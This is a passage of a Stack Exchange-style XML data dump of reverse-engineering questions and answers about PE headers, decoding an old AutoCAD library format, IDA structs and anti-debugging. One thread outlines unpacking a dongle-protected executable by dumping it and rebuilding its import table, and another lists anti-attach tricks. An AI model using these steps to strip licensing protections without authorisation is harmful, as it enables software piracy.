  <row Id="3050" PostTypeId="2" ParentId="3048" CreationDate="2013-11-17T20:19:59.487" Score="5" Body="&lt;p&gt;The data at virtual address &lt;code&gt;00400174&lt;/code&gt; is the &lt;code&gt;IMAGE_DATA_DIRECTORY&lt;/code&gt; entry for &lt;code&gt;IMAGE_DIRECTORY_ENTRY_RESOURCE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the PE/COFF specification at &lt;a href=&quot;http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v83.docx&quot;&gt;http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v83.docx&lt;/a&gt;, and use either a hex editor or a PE editor to navigate through the PE header content.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-11-17T20:19:59.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3051" PostTypeId="2" ParentId="3049" CreationDate="2013-11-18T05:34:36.833" Score="8" Body="&lt;p&gt;No there is not. You can make it harder to reverse engineer, but there's nothing you can realistically do to make it impossible, if there's enough incentive to reverse engineer your application. Professional malware researchers routinely reverse engineer much tougher stuff then anything you'll find publicly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, it may be possible using fully homomorphic encryption, but the practical difficulties make it impossible and undesirable in practice, even if it's theoretically possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the best method of protection, I'd say just remove the incentive to reverse engineer it in the first place. I'd be more specific but it's not clear what kind of attacker you're trying to protect against.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2013-11-18T05:34:36.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3052" PostTypeId="2" ParentId="3042" CreationDate="2013-11-18T11:15:21.483" Score="2" Body="&lt;p&gt;Since you did not give any details of background, I'll attempt a wild guess. It depends greatly on your application field. For example in the medical field, most algorithms used are very well known, and therefore you can simply skipped a bunch of binary data to find well known algorithm such as zlib for meta-data and/or simple encoding such as RLE for images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would try is create a string such as &quot;super calli fredgulistic ex pe alli doschus is a cool word&quot;. And then export the file in all possible format, then simply grep for that in all exported files. Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ grep &quot;super calli fredgulistic&quot; *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if your strings is in 16bits little endian:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings -e l output_format | grep &quot;super calli fredgulistic&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll find the format the most easy to deal with (well hopefully!).&lt;/p&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2013-11-18T11:21:57.060" LastActivityDate="2013-11-18T11:21:57.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3053" PostTypeId="2" ParentId="3042" CreationDate="2013-11-19T00:11:10.257" Score="3" Body="&lt;p&gt;After seeing the test files (thanks!):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... too easy :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;value.hex&lt;/code&gt;, the first dword appears to be a total file length; the second dword the data length. The third and fourth dwords may be flags of some kind and do not appear to point to data. This lops off the first 16 bytes, hence my guess the 2nd dword is 'data length'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right after this header comes that familiar pair &lt;code&gt;78 9C&lt;/code&gt; again, so I brought out my zlib decoder wrapper. Unpacking &lt;code&gt;value.hex&lt;/code&gt;, starting at offset 0x10, and using &lt;code&gt;TINFL_FLAG_PARSE_ZLIB_HEADER&lt;/code&gt; (as I am using &lt;code&gt;miniz.c&lt;/code&gt; for eaze) gave me a correct unpacking result and a data file of 33,208 bytes long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspecting this with 0xED shows this file consists entirely out of &lt;em&gt;double values&lt;/em&gt; (8 bytes each); the first few are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.991932&#xA;0.991931&#xA;0.991932&#xA;0.991932&#xA;0.991932&#xA;0.991933&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(okay, there appears to be a pattern here -- the devil is in the last few digits which 0xED doesn't show, they are not all the same values).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second file, &lt;code&gt;index.dat&lt;/code&gt;, also unpacks correctly and gives another long list of double values, this time clearly going up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.0000&#xA;0.0082&#xA;0.0163833&#xA;0.0245667&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't cross-reference these values against the XLS file you provided, I assume you can work that out from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only unpacked until I got a positive result back, I did not check if there are more data packets (compressed or otherwise) following the first one and you should verify using the end result of your own favourite decompression routine.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Just as I was heading to bed, it struck me that the 3rd and/or 4th dwords in the header (weren't they the same anyway?) may be the 'unpacked' length.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2013-11-19T00:30:44.750" LastActivityDate="2013-11-19T00:30:44.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3054" PostTypeId="2" ParentId="3047" CreationDate="2013-11-19T04:10:55.533" Score="4" Body="&lt;p&gt;Unless the string is at the &lt;em&gt;end&lt;/em&gt; of the structure, it doesn't make sense to try and make this struct in IDA, because it probably doesn't even exist in C (or whatever the original language was).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if the string &lt;em&gt;is&lt;/em&gt; at the end of the struct, this might correlate to an actual C struct definition. This is called a &lt;a href=&quot;http://gcc.gnu.org/onlinedocs/gcc/Zero-Length.html&quot; rel=&quot;nofollow&quot;&gt;&quot;zero-length&quot; array, or &quot;flexible array member&quot;&lt;/a&gt;. Of course, the size of this array is zero, as far as &lt;code&gt;sizeof&lt;/code&gt; is concerned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this still doesn't exist in IDA. What I've done in the past (again, where the string is &lt;em&gt;last&lt;/em&gt;) is go ahead and create a one-byte field, so you at least know where the string starts.  This will complicate things if you try to use &lt;code&gt;size mystruct&lt;/code&gt; for any constants in the code, but at least your string offset will be correct.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastActivityDate="2013-11-19T04:10:55.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3055" PostTypeId="1" CreationDate="2013-11-19T16:01:56.150" Score="3" ViewCount="196" Body="&lt;p&gt;I have an old piece of software (for cutting and plotting vectors onto physical media) (released about 2000-2001) which I use to this day. The software employs a HASP HL with a parallel port hardware lock. I've managed to debug and dump the executable (without the protection). However, when I try it on another of my machines it does not start. The dumped executable will start on the machine that it was dumped on, but not another machine. This would be no problem, except if the hardware key were to break, I wouldn't be able to dump it on a future machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something I should note is that, the software is no longer supported. Since the developer passed away in early 2008 the software has been totally abandoned. Having paid over $2000 for this, without any alternative that I am familiar with, I fear that if the hardware key does break I will be left without software that I use day-to-day.&lt;/p&gt;&#xA;" OwnerUserId="3193" LastActivityDate="2013-11-19T16:04:41.233" Title="Application crashes after IAT address change" Tags="|iat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3056" PostTypeId="2" ParentId="3055" CreationDate="2013-11-19T16:04:41.233" Score="2" Body="&lt;p&gt;You need to rebuilt the Import Table for your program to work correctly on other systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic steps to unpacking:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Trace to the Original Entry Point&lt;/li&gt;&#xA;&lt;li&gt;Dump the memory&lt;/li&gt;&#xA;&lt;li&gt;Rebuild the Import Table with a tool such as &lt;a href=&quot;http://tuts4you.com/download.php?view.415&quot; rel=&quot;nofollow&quot;&gt;Import REConstructor&lt;/a&gt; and change the PE's Entry Point value to the Original Entry Point's RVA&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-11-19T16:04:41.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3057" PostTypeId="1" AcceptedAnswerId="3058" CreationDate="2013-11-19T20:14:48.373" Score="6" ViewCount="9017" Body="&lt;p&gt;Sometimes I've tried to attach Ollydbg to applications those have some protection against debuggers, but I have never coded any of these applications and did not see this protection in many applications... So it looks like it is not hard to bypass this, however I am curious and never tried it before. How do you do it guys? (at least some examples on some simple program).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3061" LastActivityDate="2013-11-19T22:07:43.783" Title="How to attach debugger to app if it has protection against attaching?" Tags="|anti-debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3058" PostTypeId="2" ParentId="3057" CreationDate="2013-11-19T22:07:43.783" Score="8" Body="&lt;p&gt;Anti-attaching depends heavily on the fact that windows creates a remote thread in the target&#xA;process. What is specific about this thread is usually used to detect attaching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &#xA;The entry point Windows chooses for the attaching thread is by default the &quot;DbgUiRemoteBreakin&quot; function. Anti-attaching tricks usually hook this function or its&#xA;sibling, the &quot;DbgBreakPoint&quot; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, The fact that the attaching thread (like most normal threads) will have&#xA;the associated TLS callbacks called is also exploited to detect attaching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debug blocks, NtContinue, ThreadHideFromDebugger etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques.html&quot;&gt;http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques_11.html&quot;&gt;http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques_11.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques_13.html&quot;&gt;http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques_13.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://waleedassar.blogspot.de/2012/02/debuggers-anti-attaching-techniques_15.html&quot;&gt;http://waleedassar.blogspot.de/2012/02/debuggers-anti-attaching-techniques_15.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://waleedassar.blogspot.de/2012/11/sizeofstackreserve-as-anti-attaching.html&quot;&gt;http://waleedassar.blogspot.de/2012/11/sizeofstackreserve-as-anti-attaching.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1331" LastActivityDate="2013-11-19T22:07:43.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3059" PostTypeId="1" CreationDate="2013-11-20T10:39:45.540" Score="9" ViewCount="2187" Body="&lt;p&gt;It's a very interesting file format may greatly satisfies binary archaeologists. &lt;a href=&quot;http://pastelink.me/dl/36f07d&quot; rel=&quot;noreferrer&quot;&gt;sample file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Background&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This file format was created in 90s to archive customer created AutoCAD components library like window, door and column. The first line is in plain text &lt;code&gt;xxxx DWG library 1.0&lt;/code&gt;, it has been removed from the sample file to avoid any problem. The company xxx already gone, not sure if anyone still hold the trademark though. Lots of my father's design documents depends on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file format has a companion index/reference file which is a simple dBase III. The working platform is DOS/Windows.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Findings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I spent 2 days tried to understand the format. While still far from the full picture here are what I've got:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It consists of two parts, a file list section and a section of blob array&lt;/li&gt;&#xA;&lt;li&gt;The file list section is a simple array of file name + &lt;s&gt;&lt;s&gt;a mythical 3 bytes file codes (let's call it m1)&lt;/s&gt; &lt;strong&gt;m1 points to the position of its binary&lt;/strong&gt;, 2 bytes. the left 1 byte seems related to the file/record name.&lt;/s&gt; a 4 bytes int points to the location of its corresponding binary. &#xA;&lt;ul&gt;&#xA;&lt;li&gt;the filename is 0x20 in length, empty spaces filled with 0x00. &lt;/li&gt;&#xA;&lt;li&gt;&lt;s&gt;m1 is not position offset as it usually would be.&lt;/s&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;s&gt;file records are separated by 0x00&lt;/s&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The blob array section is fun.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;each blob starts with &quot;AS LZW 1.0 &quot; (don't miss the tailing space)&lt;/li&gt;&#xA;&lt;li&gt;&lt;s&gt;then 2 bytes of unknown usage. Not random. examples: 0x6323, 0x5b23, 0xfa22, 0x0223. (call it m2)&lt;/s&gt; the size of the decoded binary.&lt;/li&gt;&#xA;&lt;li&gt;6 bytes of 0x00&lt;/li&gt;&#xA;&lt;li&gt;2 bytes of unknown usage. Not random. mostly 0x9ccc (call it m3)&lt;/li&gt;&#xA;&lt;li&gt;then 0xaa08 + 12 bytes of 0x00&lt;/li&gt;&#xA;&lt;li&gt;LZW old-style codes encoded binary: 0c00 0000 0083 0c89 0123 460d 0008 113e 08c0 ...&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Questions&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;s&gt;Are the blobs in the blob array sections really compressed with LZW? I tried to decode with python lzw from m2, m3 positions but both failed.&lt;/s&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;s&gt;Is m1 holding the key to decode blobs?&lt;/s&gt;&lt;/li&gt;&#xA;&lt;li&gt;What's the usage of &lt;s&gt;m2,&lt;/s&gt; m3?&lt;/li&gt;&#xA;&lt;li&gt;Is there a general methodology to decode file format like this? (well, I have only google :( and &lt;a href=&quot;http://www.garykessler.net/library/file_sigs.html&quot; rel=&quot;noreferrer&quot;&gt;file signature list&lt;/a&gt;) &lt;strong&gt;010 Editor&lt;/strong&gt; (decent software, thanks @0xC0000022L)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;s&gt;m1 are 3 bytes. therefore ruled out the possibility of being CRC16 for the blob entry.&lt;/s&gt;&lt;/li&gt;&#xA;&lt;li&gt;Thanks @0xC0000022L for his comment. The first line of the file is:&#xA;ArchStar DWG Library 1.0 (line ends with 0x0d)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;tried &lt;a href=&quot;http://mark0.net/soft-trid-e.html&quot; rel=&quot;noreferrer&quot;&gt;Trid&lt;/a&gt; on the blob (after chopping off &quot;AS LWS 1.0&quot;), it reports &lt;/p&gt;&#xA;&#xA;&lt;p&gt;100.0% (.CEL) Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;makes no sense.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Update 21/11/13&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Progress&lt;/strong&gt; The &lt;a href=&quot;http://www.joe-bowers.com/static/lzw/&quot; rel=&quot;noreferrer&quot;&gt;python lzw&lt;/a&gt; seems to be relatively recent. So I looked into older LZW implementation in last century. So I found the lzw module of &lt;a href=&quot;http://www.libtiff.org/&quot; rel=&quot;noreferrer&quot;&gt;libtiff&lt;/a&gt;, and it's &lt;a href=&quot;https://code.google.com/p/pylibtiff/&quot; rel=&quot;noreferrer&quot;&gt;python implementation&lt;/a&gt;. (have to use the bitarray module inside of it: ver 0.35 instead of the most recent ver). I tried this python library with the brute force method (thanks to @Attila), the blob is indeed decode-able from 28h (based: &quot;AS LZW&quot;). And most importantly, the decoded starts with &quot;AC10&quot;, AutoCAD DWG format! However, it only decoded around 30% of the blob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Progress 2&lt;/strong&gt; Tried &lt;a href=&quot;http://golang.org/pkg/compress/lzw/&quot; rel=&quot;noreferrer&quot;&gt;lzw from golang&lt;/a&gt;, with the decoding configuration order:LSB and litWid: 2, decoded around 3x more data. Will report more result tomorrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Progress 3&lt;/strong&gt; The dwg decoded with python LibTiff LZW is a valid AutoCAD DWG. AutoCAD 2014 reported the one decoded from golang LZW invalid. Now I guess the rest part of the blob is image thumbnail of the vector. Will decode all 50 blobs and report back.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update 22/11/13&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The blobs decoded with the libtiff lzw (lzw.py) are not valid although they have correct header &quot;AC10&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked carefully into the &lt;a href=&quot;https://code.google.com/p/pylibtiff/source/browse/trunk/libtiff/lzw.py&quot; rel=&quot;noreferrer&quot;&gt;lzw.py&lt;/a&gt; inside of pylibtiff, and found the first two lines:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;&quot;&quot; Encoder and decoder of Lempel-Ziv-Welch algorithm for TIFF.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This module is obsolete, use tif_lzw extension module instead. &quot;&quot;&quot;&#xA;  (lesson learned: read every line!)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I modified my codes to use tif_lzw to decode the blob. No luck. This time, I read the &lt;a href=&quot;https://code.google.com/p/pylibtiff/source/browse/trunk/libtiff/src/tif_lzw.c&quot; rel=&quot;noreferrer&quot;&gt;code&lt;/a&gt; carefully, line by line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the first glance, the file has two more Python wrapper methods Py_decode and Py_encode. Then I noticed the disabled methods LZWDecodeCompat for &lt;em&gt;Old-style LZW codes&lt;/em&gt;. It's kind of interesting. So I modified the module, enabled LZWDecodeCompat and use it in the Py_decode method. the tif_lzw.decode method requires an extra parameter &lt;strong&gt;size&lt;/strong&gt;. Naturally I used m1 (for the first blob, i used 0x4c07). The decoded result have &quot;AC10&quot; header, and opened successfully in AutoCAD(mac ver) but show nothing. AutoCAD says it's a Trusted DWG and contains 1 block which I couldn't find. So I spent a good few hours installed Windows and AutoCAD. bingo! there is a column drawing! There are still remaining questions. e.g. still not able to find the right size for tif_lzw.decode method call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;progress&lt;/strong&gt; decoded all 50 binaries with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tif_lzw LZWDecodeCompat&lt;/li&gt;&#xA;&lt;li&gt;use m3 as the size paramter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Template (work in progress)&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct FILE {&#xA;&#xA;    char banner[26];&#xA;    char f1[2];&#xA;    FSkip(4); //char sp[4];&#xA;&#xA;    local int count = 0;&#xA;    local int pos;&#xA;    local char sp[36];&#xA;    local char SP[36];&#xA;    Memset(SP, 0, 36);&#xA;&#xA;    while(true){&#xA;        pos = FTell();&#xA;        ReadBytes(sp, pos, 36);&#xA;&#xA;        if(Memcmp(sp, SP, 36) == 0){&#xA;            break;&#xA;        }&#xA;        count ++;&#xA;        FSeek(pos);&#xA;&#xA;        struct {&#xA;            char name[32];&#xA;            DWORD loc;&#xA;        } index;&#xA;    }&#xA;&#xA;&#xA;    FSkip(36); //char sp2[36];&#xA;    struct Binary(int len){&#xA;            char banner[11];&#xA;            WORD size;&#xA;            FSkip(7);//char sp[7];&#xA;            char m3[2]; // CRC16?&#xA;            char m4[2]; // always AA 08&#xA;            FSkip(16);&#xA;            char lzw[len];&#xA;    };&#xA;&#xA;    local int i;&#xA;&#xA;    for(i = 1; i &amp;lt; count; i++){&#xA;        Binary b(index[i].loc - index[i-1].loc - 40);&#xA;    }&#xA;&#xA;    if(count&amp;gt;0){&#xA;        Binary b(FileSize() - index[i-1].loc - 40);&#xA;    }&#xA;} file;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3201" LastEditorUserId="3201" LastEditDate="2013-11-23T20:49:19.990" LastActivityDate="2014-01-02T22:14:16.690" Title="Decoding an ancient format" Tags="|binary-analysis|file-format|" AnswerCount="2" CommentCount="13" CommunityOwnedDate="2013-11-23T20:49:19.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="3060" PostTypeId="2" ParentId="3059" CreationDate="2013-11-20T12:50:25.803" Score="4" Body="&lt;p&gt;Consider changing your Python script to run LZW decompression from various offsets, that is in  a brute force manner.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2013-11-20T12:50:25.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3061" PostTypeId="1" AcceptedAnswerId="3062" CreationDate="2013-11-20T12:57:46.693" Score="9" ViewCount="4617" Body="&lt;p&gt;I have a small function that is given a &lt;code&gt;struct&lt;/code&gt; as parameters. The &lt;code&gt;struct&lt;/code&gt; looks to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct my_struct {&#xA;  short a;&#xA;  unsigned int b;&#xA;  unsigned int c;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Taking care of the alignment I build the following &lt;code&gt;struct&lt;/code&gt; in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;field_0 +0x0&#xA;field_1 +0x4&#xA;field_2 +0x8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The compiler builds it so that it takes &lt;code&gt;rbp+0x10&lt;/code&gt; as the first field in the &lt;code&gt;struct&lt;/code&gt;, &lt;code&gt;rbp+0x14&lt;/code&gt; as the second and so on. The problem now arises because if I try to apply the pre-defined IDA &lt;code&gt;struct&lt;/code&gt; to the instructions, I always get something like &lt;code&gt;[rbp+struct.field_0+0x10]&lt;/code&gt;. This get more complicated if there is actually something in my struct at &lt;code&gt;+0x10&lt;/code&gt;, because then it just shows &lt;code&gt;[rbp+struct_fieldX]&lt;/code&gt; (which is wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is: &lt;em&gt;Is there a way to tell IDA (I'm using 6.3) to apply the &lt;code&gt;struct&lt;/code&gt; with an offset of &lt;code&gt;0x10&lt;/code&gt;?&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dirty trick for this simple case is to create a &lt;code&gt;struct&lt;/code&gt; that has 2 &lt;code&gt;size_t&lt;/code&gt; dummy fields for the &lt;code&gt;RIP&lt;/code&gt; and &lt;code&gt;SFP&lt;/code&gt;, but that does not seem to be right way to go here.&lt;/p&gt;&#xA;" OwnerUserId="3155" LastEditorUserId="53" LastEditDate="2013-11-20T13:36:54.637" LastActivityDate="2013-11-20T14:53:02.467" Title="IDA Pro: use structs on parameters" Tags="|ida|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3062" PostTypeId="2" ParentId="3061" CreationDate="2013-11-20T14:53:02.467" Score="8" Body="&lt;p&gt;Add your struct in the function's stack view:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;With your cursor in the function's disassembly view, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;K&lt;/kbd&gt; to open the stack view.&lt;/li&gt;&#xA;&lt;li&gt;In the stack view, ensure that enough function arguments exist to get to at least &lt;code&gt;+00000010&lt;/code&gt; in the stack. Use &lt;kbd&gt;D&lt;/kbd&gt; to add more function arguments as necessary.&lt;/li&gt;&#xA;&lt;li&gt;Position your cursor on the &lt;code&gt;+00000010&lt;/code&gt; line in the stack view and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt; to specify &lt;code&gt;my_struct&lt;/code&gt; at that offset.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-11-20T14:53:02.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3063" PostTypeId="1" AcceptedAnswerId="3065" CreationDate="2013-11-20T19:46:02.990" Score="4" ViewCount="326" Body="&lt;p&gt;In fuzzing (with Pintool) to get examining execution traces of the program, here it is wget. I get some weird instructions, following is a piece extracted from a (very long) trace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RIP register   instruction&#xA;&#xA;0x7fff751fed17 mov rbx, 0xffffffffffdff000&#xA;0x7fff751fed1e lsl r11d, eax&#xA;0x7fff751fed22 xor r15d, r15d&#xA;0x7fff751fed25 mov r10d, r11d&#xA;0x7fff751fed28 mov r9d, dword ptr [0xff5ff080]&#xA;0x7fff751fed30 test r9b, 0x1&#xA;0x7fff751fed34 jnz 0x7fff1fdb4fdf&#xA;0x7fff751fed3a mov rax, qword ptr [0xff5ff0a8]&#xA;0x7fff751fed42 mov r13d, dword ptr [0xff5ff088]&#xA;0x7fff751fed4a mov qword ptr [rdi], rax&#xA;0x7fff751fed4d mov edx, dword ptr [0xff5ff088]&#xA;0x7fff751fed54 mov r14, qword ptr [0xff5ff0b0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To me, they are quite weird. First, some of them access directly to the memory, that means some addresses, e.g. &lt;code&gt;0xff5ff080&lt;/code&gt;, &lt;code&gt;0xff5ff0a8&lt;/code&gt; have been hard-coded into the program. Second, I find them nowhere in the loaded libraries and wget itself. Third, even more weird, by passing the parameter &lt;code&gt;(IARG_MEMORYREAD_EA)&lt;/code&gt; to get the virtual addresses of the accessed memories. I got the addresses, e.g. &lt;code&gt;0xffffffffff5ff080&lt;/code&gt;, &lt;code&gt;0xffffffffff5ff0a8&lt;/code&gt;, etc, and all of them do not belong to the program's memory space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coud anyone give me some suggestions ?.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2014-06-01T14:11:52.237" LastActivityDate="2014-06-01T14:11:52.237" Title="Weird instructions" Tags="|fuzzing|memory|instrumentation|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3064" PostTypeId="2" ParentId="3059" CreationDate="2013-11-20T20:16:54.963" Score="3" Body="&lt;p&gt;Feel free to edit this community-wiki &quot;answer&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB: Only writing this as answer because it's too long for a comment.&lt;/strong&gt; I think given the bits and pieces of information there is no answer unless you get lucky and someone happens to know this particular file format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we assume that the file format has indeed something to do with DWG, we can learn a lot by looking into &lt;a href=&quot;http://kldp.org/files/OpenDesign_Specification_for_.dwg_files.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;old&lt;/a&gt; or new specifications (Google-search for &lt;code&gt;OpenDesign_Specification_for_.dwg_files.pdf&lt;/code&gt;) for DWG and finding out about their used file format. Of particular interest are the data types (see &quot;BIT CODES AND DATA DEFINITIONS&quot; and &quot;Compression&quot; of the linked paper) and algorithms. For example in the mentioned section we find:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The AutoCAD DWG file format uses a modification of a standard cyclic&#xA;  redundancy check as an error detecting mechanism. The CRC ends up&#xA;  being 2 bytes long due to a lookup in a table containing 256 16-bit&#xA;  values, and are not stored in any sort of bit code form. They also&#xA;  always appear on byte boundaries; they are not embedded within the&#xA;  stream of bits.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is pretty valuable information and helps you confirm findings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also interesting, assuming that this holds for your case:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Autodesk also uses a method whereby the result of the CRC is XORed&#xA;  with a &quot;magic number&quot;. This method is used  extensively in pre-R13&#xA;  files [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;BricsCAD and others provide SDKs and libraries (and products) which they claim understand also old DWG formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But back to investigating the format yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to get handy with a tool such as 010 Editor that allows you to create a template and literally develop your understanding of the file format this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you have deprived us of vital information by stating that the first line is text but not giving a length or anyway an idea how you come to the conclusion that it's plain text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are for example 50 occurrences of &lt;code&gt;AS LZW 